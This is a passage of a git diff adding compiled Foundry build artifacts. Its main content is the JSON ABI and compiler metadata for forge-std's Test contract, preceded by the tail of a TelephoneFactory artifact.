"nameLocations":["141:5:111"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"141:5:111"},"id":55320,"nodeType":"InheritanceSpecifier","src":"141:5:111"}],"canonicalName":"TelephoneFactory","contractDependencies":[55314],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[55369,55508,46700,48281],"name":"TelephoneFactory","nameLocation":"121:16:111","scope":55370,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":111} \ No newline at end of file diff --git a/contracts/out/Test.sol/Test.json b/contracts/out/Test.sol/Test.json new file mode 100644 index 000000000..18106189b --- /dev/null +++ b/contracts/out/Test.sol/Test.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/Test.sol\":\"Test\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct 